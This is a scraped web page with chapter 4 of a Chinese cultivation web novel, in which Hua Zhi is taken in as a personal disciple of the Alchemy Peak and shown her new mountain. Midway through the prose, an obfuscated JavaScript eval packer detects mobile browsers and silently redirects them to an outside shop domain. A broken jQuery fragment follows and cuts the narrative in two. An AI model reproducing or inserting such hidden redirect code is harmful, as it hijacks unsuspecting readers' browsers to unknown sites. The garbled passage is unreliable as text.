文趣网 > 都市小说 > 我们恶毒女配没有孬种 > 4. 第 4 章
    花枳经脉酸涩,呼吸受阻,眼前一片模糊,实在不是认亲的好时候,不然先帮个忙,把她放到有灵气的地方吧,要撑不住啦。

    诸葛莲山内心暗赞“师姐就是师姐,师侄都这样了,在她口中竟然只是小麻烦”,但凡他来晚点呢!

    他将人半扶起,往她口中塞了一品枚聚灵丹,伸手悬于半空,金色灵力涌入花枳体内帮着梳理药性。

    一品聚灵丹辅一入口就化为精纯的灵气灌入花枳的四肢百骸中,原本枯竭萎靡的经脉与□□“啵”一声被灵气撑开,剧痛袭来,花枳还来不及反应就又有一道柔和的灵力将聚灵丹中的灵气化开。

    几息后,花枳经脉灵气充盈,感觉身轻如燕,精力充沛得能打死一头牛!

    “多谢您的救命之恩!”花枳弯腰鞠了个九十度的躬。

    诸葛莲山抚须轻笑:“你该唤我师叔,你师傅是我的师姐。”

    “这?”花枳腰弯得更低了一些,有心想问一句她师傅是谁,又怕问得太直接了显得失礼,人家刚救了她的命呢,但是吧,原主一直到被流放到域外天魔战场都只是个光杆练气外门弟子,没有师承啊。

    这要是认错了人,她也不能就这么将错就错啊,这位老人家鹤发童颜,浑身宝光灿灿,一看就是实力派,她真鸠占鹊巢了,人家弄死她也就抬抬手的事。

    当然主要是她觉悟高,冒名顶替这种事,她就不能干!

    于是她学着古代人拱手作揖,“弟子花枳,来自凡人界。”她顿了顿,原主关于凡人界的记忆很模糊,只隐约记得她来自凡人界的一个小家族,其他的,都没有印象。

    “弟子是两年前来的宗门,一直待在外门。”委婉说出自己没有师承。

    她想说如今自己虽然还只是个练气小修士,但救命之恩一定会想办法报答。

    没等她把话说出口,诸葛莲山已笑着递过来一枚花纹繁复灵气氤氲的圆形青玉玉珠,“这是你师傅让我转交给你的弟子宫铃。”

    同时递出的还有一枚储物戒,“这是她准备的见面礼。”他又从自己手上捋下一枚戒指一同递过来,“这是师叔的。”

    “你先收着,等你正式拜师后,师叔再给你准备好的。”

    “这……”见诸葛莲山一直笑眯眯一副老好人的模样,花枳越发心虚了起来,笑容越真,下手越狠呐!

    “师叔。”花枳恭恭敬敬垂手而立,郑重问道,“我师傅,是谁啊?”问完低下头,不敢面对接下来可能的雷霆风暴。

    诸葛莲山见她这个反应,真切笑了出来,“傻孩子,你不会以为师叔找错人了吧?”

    花枳微微抬头小心瞟了诸葛莲山一眼,满脸认真点头,小声说道:“师叔,我会想办法把丹药还给您的。”

    诸葛莲山失笑,“你是不是花枳?”

    “是!”花枳大声回答,她真的是花枳,从小就是这个名,没骗人!

    “我已核验过你的弟子令牌,如何会认错?”诸葛莲山抚须,“你师傅是丹峰峰主,有要事外出,让我这个师叔来接你去丹峰安顿的。”

    “你可要拜入丹峰成为亲传弟子?”

    “愿意!”这种天上掉馅饼的好事犹豫一秒都是对她智商的侮辱!

    至于她那素未谋面的师傅会不会伙同眼前这位浑身闪着财富与实力光华的师叔把她骗去丹峰杀?

    拜托,他刚刚晚几分钟施救她就灵力枯竭而死了,若真要她的命,完全没必要这么迂回。

    而且,亲传弟子每月有宗门补贴,有师承,是所有入宗弟子的向往。

    对方出手就是两枚储物戒,不算里面的修炼物资,光这两枚储物戒,她在外门费尽心思都未必能得到。

    花枳声音刚落,两枚储物戒就飞到了她的手心,“走!”诸葛莲山衣袖一挥,花枳已经被带上飞行法器身处云雾之中了。

    药峰长老峰一隅,郦宓的传音符亮了一下,她立刻输入灵力,传音符里是她等了很久的声音,“郦师姐救我!”可惜,不是她要等的消息。

    郦宓皱眉,正要回复,一扎着双髻的小童在院外喊她:“郦师姐,该去灵药田施诀了。”

    “知道了,我现在就去!”郦宓收回灵力,立刻去了灵药田。

    她虽然因为叔祖父入了药峰长老峰成了内门弟子,但她灵根驳杂,修仙之路艰难,若没有机缘洗去灵根上的杂质,到筑基就顶天了,就这,也少不得要叔祖父鼎力相助。

    可惜,叔祖父与她不是直系,只是念着当年祖上微薄的情分与血缘将她收入门下,给她了内门弟子的殊荣,可也仅限于此了。

    一开始药峰诸师兄师姐看在叔祖父的面子上对她多有照拂,但两年过去,她的修为一直停留在练气一级,他们对她的态度便也日渐冷淡了起来。

    她暗暗咬牙,还好,改变命运的时机已经到了!

    诸葛莲山将花枳带去了丹峰主峰,一名身着青色亲传弟子服,腰间佩戴与花枳同源青玉宫铃的青年男子从容迎出来,稽首行礼,“师叔。”

    诸葛莲山微微抬手示意免礼,同时告知来意,“你师尊看中一名弟子欲收入门下,她离宗前托付本君将人带来丹峰安顿。”指了指花枳,“人就交给你了。”

    话落,他一甩衣袖御风离去,到了这一步,他就完成穆洄的托付了,之后如何安顿,如何指点修炼那就是丹峰的事情。

    “师兄好,我叫花枳。”花枳主动又热情地打招呼,笑容明媚,其实心里有些尴尬,腿也有些软,是强撑着呢。

    虽然万分确定师叔这位高人绝对能护她周全,但第一次凌空飞那么高那么快,尤其中途还来了几个大拐弯,她的心真的是一紧一紧又一紧的。

    青年笑容温润,“师妹不必拘束,我名唤卓樾,是师尊门下大弟子,师尊不在时暂管峰内诸事。”

    “大师兄好!”

    卓樾颔首,招出飞剑变大变宽,带着花枳擦着地面缓缓飞行,又掐诀替她挡去了迎面而来的劲风。

    花枳内心感动,心说大师兄真是个温柔的大好人,剑也是好剑!<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721088|208654||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>花枳挠头,这形容,哪里怪怪的,她低头看剑,看到的是一张发丝张牙舞爪立着,半边脸颊乌漆嘛黑,嘴角都是干涸凝固血渍的脸!

    这要半夜出去扮鬼吓人都不用另外化妆了。

    花枳看了眼卓樾的背影,心说不愧是代师掌峰的大师兄,好定力好风度!

    她偷偷给自己掐了好几个清洁术,头发也捋了又捋,看着总算体面了一点。

    没飞多久,飞剑就在一个云雾缭绕的山头停了下来,卓樾收了飞剑对花枳说道:“师尊门下加上你共有五名弟子。”

    “二师妹如今正在闭关冲击三品丹师,三师妹与四师弟在外游历。”

    他指着远处几个山头,“那边是你几位师姐师兄的住处。”又说起自己,“我如今暂住主峰议事厅后院。”

    他手一抹从储物戒中取出一叠符纸递给花枳,“这是传音符,你输入灵力就能传话给我。”

    花枳双手接过,指着一整个山头,“大师兄,你是说,这整座山头都归我吗?”这么豪的吗?

    “当然。”卓樾笑着说道,“整座山都是你的,你可以完全按你的心意布置。”

    “至于杂役弟子,你可以自己指定,也可以由我来安排。”

    “可以暂时不要杂役弟子吗?”

    “当然可以。”卓樾笑着说道,“你的地方自然是你做主的。”

    他继续说道:“师尊不喜人多吵嚷,诸位长老居于各副峰,无事不会来主峰。”

    花枳连连点头,明白了,丹峰清净,自己管自己!

    “我还有些事务要处理,你先安顿,之后有修行上的问题随时可以传音给我。”

    “是,多谢大师兄。”花枳学着卓樾的模样稽首行礼。

    卓樾用灵力托起花枳的手臂,轻笑道:“咱们同辈之间不必如此郑重,行了,你好好安顿。”说完一挥衣袖御风飞走了。

    花枳没忍住也挥了挥衣袖,然而什么都没有发生,她忍不住失笑,整个人也因着这笑声彻底放松了下来。

    这个时候,她才发现这座山峰上的灵气浓郁得不像话,呼吸之间,绿色灵气仿佛都在往她身体里钻。

    “怪不得大家都想当内门当亲传呢,这灵气浓度相差也太大了。”就跟零星长了几片草的荒漠与绿洲的区别啊!

    是直接打坐吸收灵气修炼呢,还是看看见面礼都有些什么?

    不急,还是先安顿吧。

    花枳看着眼前类似农家小院的建筑思路停摆了一瞬,繁花似锦灵植遍地灵气氤氲的山头,亲传弟子的住处是一座农家小院,这,合理吗?

    这难道就是传说中的返璞归真?

    别说,你还真别说,要是弄个小桥流水,再种些漂亮的花,这里真的很宜居了,反正她很喜欢!

    花枳点点头,打从心底里接受了以后要住在这里的事实,随即她搭在木门上的手顿了顿,“这是?灵木!”又摸了摸旁边的篱笆,居然也是灵木!

    “叽!”棉团子从花枳衣襟钻了出来。